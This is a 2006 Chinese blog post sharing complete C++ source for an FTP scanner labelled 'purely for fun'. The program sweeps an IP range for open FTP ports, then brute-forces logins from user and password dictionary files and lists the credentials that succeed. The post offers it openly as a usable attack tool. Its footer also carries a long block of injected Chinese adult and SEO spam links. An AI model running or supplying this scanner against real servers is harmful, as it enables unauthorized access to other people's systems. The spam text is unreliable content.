• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            Life & Code

            代碼是咒語,我是魔法師

            FTP掃描器(純娛樂)

            #include? " stdafx.h "
            #include?
            < iostream >
            #include?
            " ace/INET_Addr.h "
            #include?
            " ace/SOCK_Stream.h "
            #include?
            " ace/SOCK_Connector.h "
            #include?
            " ace/Log_Msg.h "
            #include?
            " ace/Time_Value.h "
            #include?
            < vector >
            #include?
            < fstream >
            #include?
            < algorithm >
            #include?
            < string >
            #include?
            < WinInet.h >

            using ? namespace ?std;

            struct ?ftp_info {
            ????
            string ?ip;
            ????
            string ?user_name;
            ????
            string ?psw;
            ????
            int ????port;
            }
            ;
            bool ?connect_ftp(DWORD?ip, int ?port);
            int ??isValIP( const ? char * ?ip);
            void ?usage()
            {
            ????cout?
            << " FTP掃描器V1.0?????eyeonme@gmail.com " ? << endl;
            ????cout?
            << " 參數(shù)一:?起始IP地址 " << endl;
            ????cout?
            << " 參數(shù)二:?結(jié)束IP地址 " << endl;
            ????cout?
            << " 參數(shù)三:?端口.(可選,默認21) " << endl;
            ????cout?
            << " 請將用戶字典user.dic?和密碼字典psw.dic?置于程序目錄下 " << endl;
            }




            vector?
            < string > ?ftp_list;
            vector?
            < string > ?user_list;
            vector?
            < string > ?psw_list;
            vector?
            < ftp_info > ?succeed_list;
            int ?????????????ftp_port;
            void ???ftp_guess( const ? string ? & ftp_ip, int ?ftp_port);

            int ?_tmain( int ?argc,?_TCHAR * ?argv[])
            {
            ????
            if (argc < 3 ? || ? ! isValIP(argv[ 1 ])? || ? ! isValIP(argv[ 1 ]))
            ????
            {
            ????????usage();
            ????????
            return ? 0 ;
            ????}

            ????ftp_port?
            = ?argc? == ? 4 ? ? ?atoi(argv[ 3 ]): 21 ;
            ????ACE::init();

            ????ifstream?user_file(
            " .\\user.dic " );
            ????
            if ( ! user_file)
            ????
            {
            ????????cout?
            << " 不能打開?user.dic " << endl;
            ????????
            return ? 0 ;
            ????}


            ????ifstream?psw_file(
            " .\\psw.dic " );
            ????
            if ( ! user_file)
            ????
            {
            ????????cout?
            << " 不能打開?psw.dic " << endl;
            ????????
            return ? 0 ;
            ????}

            ????
            char ?line[ 1024 ]? = ? { 0 } ;

            ????
            while (user_file.getline(line, 1024 ))
            ????
            {
            ????????user_list.push_back(line);
            ????}


            ????
            while (psw_file.getline(line, 1024 ))
            ????
            {
            ????????psw_list.push_back(line);
            ????}

            ????psw_file.close();
            ????user_file.close();
            ????
            ????DWORD?ip1?
            = ?inet_addr(argv[ 1 ]);
            ????DWORD?ip2?
            = ?inet_addr(argv[ 2 ]);

            ????DWORD???range1??
            = ?((BYTE * ) & ip1)[ 3 ];
            ????DWORD???range2??
            = ?((BYTE * ) & ip2)[ 3 ];
            ????DWORD???connect_ip?
            = ?ip1;
            ????
            ????
            ????
            // 掃描網(wǎng)段
            ???? for (DWORD?i = range1;?i < range2;?i ++ ?)
            ????
            {
            ????????((BYTE
            * ) & connect_ip)[ 3 ]? = ?(BYTE)i;
            ????????connect_ftp(htonl(connect_ip),ftp_port);
            ????}

            ????
            ????
            // 密碼猜解
            ???? for (vector < string ? > ::iterator?i = ftp_list.begin();?i? != ?ftp_list.end();?i ++ )
            ????
            {
            ????????cout?
            << " \n嘗試 " <<* i;
            ????????ftp_guess(
            * i,ftp_port);
            ????}


            ????
            for (vector < ftp_info > ::iterator?i? = ?succeed_list.begin();?i? != ?succeed_list.end();?i ++ )
            ????
            {
            ????????cout?
            << " \n*********所有成功********* " << endl;
            ????????cout?
            << " IP: " << ?i -> ip << endl;
            ????????cout?
            << " 端口: " << ?i -> port << endl;
            ????????cout?
            << " 用戶名: " << ?i -> user_name << endl;
            ????????cout?
            << " 密碼: " << ?i -> psw;
            ????????
            ????????cout?
            << endl;
            ????}

            ????ACE::fini();
            ????system(
            " pause " );
            ????
            return ? 0 ;
            }


            bool ?connect_ftp(DWORD?ip, int ?port)
            {
            ????ACE_INET_Addr?srvr?(port,?ip);
            ????ACE_SOCK_Connector?connector;
            ????ACE_SOCK_Stream?peer;
            ????ACE_Time_Value?TimeOut;
            ????TimeOut.
            set ( 0 , 5000 );

            ????
            // ACE_DEBUG((LM_INFO,"%s:%d?",srvr.get_host_addr(),port));
            ???? if ?( - 1 ? == ?connector.connect?(peer,?srvr, & TimeOut))
            ????
            {
            ????????
            // ACE_DEBUG((LM_INFO,"失敗%p\n"));
            ????}

            ????
            else
            ????
            {
            ????????ACE_DEBUG((LM_INFO,
            " %s:%d\t開啟\n " ,srvr.get_host_addr(),port));
            ????????ftp_list.push_back(srvr.get_host_addr());
            ????}

            ????peer.close();
            ????
            return ? true ;
            }


            int ?isValIP( const ? char * ?ip)
            {
            ????
            static ? char ?tab[ 24 ][ 11 ]? = ? { { 1 , 2 , 3 , 4 , 4 , 4 , 4 , 4 , 4 , 4 , - 1 } ,
            ????
            { - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , 5 } ,
            ????
            { 4 , 4 , 4 , 4 , 4 , 4 , 4 , 4 , 4 , 4 , 5 } ,
            ????
            { 4 , 4 , 4 , 4 , 4 , 6 , 1 , 1 , 1 , 1 , 5 } ,
            ????
            { 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 5 } ,
            ????
            { 7 , 8 , 9 , 10 , 10 , 10 , 10 , 10 , 10 , 10 , - 1 } ,
            ????
            { 1 , 1 , 1 , 1 , 1 , 1 , - 1 , - 1 , - 1 , - 1 , 5 } ,
            ????
            { - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , 11 } ,
            ????
            { 10 , 10 , 10 , 10 , 10 , 10 , 10 , 10 , 10 , 10 , 11 } ,
            ????
            { 10 , 10 , 10 , 10 , 10 , 12 , 7 , 7 , 7 , 7 , 11 } ,
            ????
            { 7 , 7 , 7 , 7 , 7 , 7 , 7 , 7 , 7 , 7 , 11 } ,
            ????
            { 13 , 14 , 15 , 16 , 16 , 16 , 16 , 16 , 16 , 16 , - 1 } ,
            ????
            { 7 , 7 , 7 , 7 , 7 , 7 , - 1 , - 1 , - 1 , - 1 , 11 } ,
            ????
            { - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , 17 } ,
            ????
            { 16 , 16 , 16 , 16 , 16 , 16 , 16 , 16 , 16 , 16 , 17 } ,
            ????
            { 16 , 16 , 16 , 16 , 16 , 18 , 13 , 13 , 13 , 13 , 17 } ,
            ????
            { 13 , 13 , 13 , 13 , 13 , 13 , 13 , 13 , 13 , 13 , 17 } ,
            ????
            { 19 , 20 , 21 , 22 , 22 , 22 , 22 , 22 , 22 , 22 , - 1 } ,
            ????
            { 13 , 13 , 13 , 13 , 13 , 13 , - 1 , - 1 , - 1 , - 1 , 17 } ,
            ????
            { - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 , - 1 } ,
            ????
            { 22 , 22 , 22 , 22 , 22 , 22 , 22 , 22 , 22 , 22 , - 1 } ,
            ????
            { 22 , 22 , 22 , 22 , 22 , 23 , 19 , 19 , 19 , 19 , - 1 } ,
            ????
            { 19 , 19 , 19 , 19 , 19 , 19 , 19 , 19 , 19 , 19 , - 1 } ,
            ????
            { 19 , 19 , 19 , 19 , 19 , 19 , - 1 , - 1 , - 1 , - 1 , - 1 } }
            ;
            ????
            if (ip? != ?NULL)
            ????
            {
            ????????
            int ?stat? = ? 0 ;
            ????????
            for ( const ? char * ?tmp? = ?ip;? * tmp? != ? ' \0 ' ? && ?stat? >= ? 0 ;? ++ tmp)
            ????????
            {
            ????????????
            if ( ' 0 ' ? <= ? * tmp? && ? * tmp? <= ? ' 9 ' )
            ????????????????stat?
            = ?tab[stat][ * tmp? - ? ' 0 ' ];
            ????????????
            else ? if ( * tmp? == ? ' . ' )
            ????????????????stat?
            = ?tab[stat][ 10 ];
            ????????????
            else
            ????????????????stat?
            = ? - 1 ;
            ????????}

            ????????
            if (stat? >= ? 19 ? && ?stat? <= ? 23 )
            ????????????
            return ? 1 ;
            ????}

            ????
            return ? 0 ;
            }


            void ???ftp_guess( const ? string ? & ftp_ip, int ?port)
            {
            ????HINTERNET??hInternet?
            = ?InternetOpen(NULL,?INTERNET_OPEN_TYPE_PRECONFIG,?NULL,?NULL,? 0 );
            ????
            if ?(hInternet != NULL)?
            ????
            {
            ????????
            for (vector < string ? > ::iterator?user? = ?user_list.begin();
            ????????????????????user?
            != ?user_list.end();?user ++ )
            ????????
            {
            ????????????
            for (vector < string ? > ::iterator?psw? = ?psw_list.begin();
            ????????????????????????psw?
            != ?psw_list.end();?psw ++ )
            ????????????
            {
            ????????????????HINTERNET??hFtpSession?
            = ?InternetConnect(hInternet,?ftp_ip.c_str(),
            ????????????????????port,?user
            -> c_str(),?psw -> c_str(),?INTERNET_SERVICE_FTP,? 0 ,?NULL);
            ????????????????cout?
            << " \nUserName: " <<* user << " : " <<* psw;
            ????????????????
            if (hFtpSession)
            ????????????????
            {
            ????????????????????cout?
            << " 成功 " << endl;
            ????????????????????InternetCloseHandle(hFtpSession);????
            ????????????????????ftp_info?_info;
            ????????????????????_info.ip?
            = ?ftp_ip;
            ????????????????????_info.port?
            = ?port;
            ????????????????????_info.psw??
            = ? * psw;
            ????????????????????_info.user_name?
            = ? * user;
            ????????????????????succeed_list.push_back(_info);
            ????????????????????
            goto ?_exit;
            ????????????????}

            ????????????????
            else
            ????????????????
            {
            ????????????????????DWORD?dwError?
            = ?GetLastError();
            ????????????????????
            if ( 12014 ? != ?dwError)
            ????????????????????
            {
            ????????????????????????InternetCloseHandle(hFtpSession);????
            ????????????????????????
            goto ?_exit;
            ????????????????????}

            ????????????????????
            /*
            ????????????????????DWORD?dwErr;
            ????????????????????char??errInfo[1024]={0};??
            ????????????????????DWORD?len?=?sizeof(errInfo)/sizeof(errInfo[0]);
            ????????????????????InternetGetLastResponseInfo(&dwErr,?errInfo,?&len);
            ????????????????????cout?<<?errInfo<<endl;
            ????????????????????
            */

            ????????????????}

            ????????????????InternetCloseHandle(hFtpSession);
            ????????????}

            ????????}

            ????}

            _exit:
            ????InternetCloseHandle(hInternet);

            }

            posted on 2006-12-13 00:19 橙子 閱讀(1648) 評論(1)  編輯 收藏 引用 所屬分類: ACE

            評論

            # re: FTP掃描器(純娛樂) 2011-07-18 12:20 VGA采集卡

            試下看,謝謝分享  回復(fù)  更多評論   

            <2006年10月>
            24252627282930
            1234567
            891011121314
            15161718192021
            22232425262728
            2930311234

            導(dǎo)航

            統(tǒng)計

            常用鏈接

            留言簿(10)

            隨筆分類

            隨筆檔案

            相冊

            收藏夾

            搜索

            最新評論

            閱讀排行榜

            伊人色综合久久天天人手人婷| 亚洲精品美女久久久久99小说| 亚洲欧美成人久久综合中文网| 久久无码AV中文出轨人妻| 亚洲精品视频久久久| 久久亚洲AV无码精品色午夜| 一本一本久久aa综合精品| 久久福利青草精品资源站免费| 日本福利片国产午夜久久| 伊人久久无码精品中文字幕| 久久精品无码一区二区WWW| 久久久综合九色合综国产| 亚洲欧美成人久久综合中文网| 波多野结衣中文字幕久久| 一级做a爰片久久毛片看看| 99久久婷婷免费国产综合精品| 久久av免费天堂小草播放| 日韩精品久久无码中文字幕 | 热久久最新网站获取| 99久久超碰中文字幕伊人| 伊人伊成久久人综合网777| 嫩草影院久久99| 久久青青草原亚洲av无码app| 久久久这里有精品中文字幕| 69SEX久久精品国产麻豆| 久久天天躁狠狠躁夜夜avapp | 久久人做人爽一区二区三区| 久久亚洲欧美日本精品| 精品久久久噜噜噜久久久 | 中文精品久久久久国产网址| 99久久精品免费看国产一区二区三区 | 韩国三级大全久久网站| 久久久久亚洲AV片无码下载蜜桃 | 久久精品国产一区| 久久亚洲私人国产精品| 狠狠色婷婷久久综合频道日韩| 久久人人爽人人爽AV片| 免费一级欧美大片久久网| 99久久精品国产一区二区| 日本一区精品久久久久影院| AV狠狠色丁香婷婷综合久久 |